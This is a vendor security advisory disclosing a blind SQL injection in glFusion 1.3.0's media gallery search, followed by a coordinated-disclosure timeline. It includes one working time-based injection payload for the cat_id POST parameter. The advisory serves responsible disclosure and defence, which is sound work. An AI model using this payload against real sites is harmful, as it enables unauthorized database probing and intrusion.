SQL Injection Vulnerability in glFusion


Advisory by Netsparker (now Invicti)
Name: SQL Injection Vulnerability in glFusion
Software: glFusion 1.3.0 and possibly below.
Vendor Homepage: http://www.glfusion.org
Vulnerability Type: Blind SQL Injection
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-13-009


A dynamic system based on flexible and granular permissions, with spam protection, forums, file management, media gallery, calendars, polls, site-wide search, RSS feeds, and more!


glFusion is affected by SQL Injection vulnerability in version 1.3.0. Example PoC url is as follows:

Blind SQL Injection Vulnerability

  • http://example.com/mediagallery/search.php
    POST – param:
    cat_id='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'

You can read the full article about SQL Injection vulnerabilities from here:



Advisory Timeline

05/09/2013 – First contact: No response
05/09/2013 – Vendor replied
05/09/2013 – Shared details
06/09/2013 – Fix released
09/09/2013 – Advisory Released


It has been discovered on testing of Invicti Web Application Security Scanner.


  1. MSL Advisory Link: /sql-injection-vulnerability-in-glfusion/
  2. Invicti Advisories: /web-applications-advisories/

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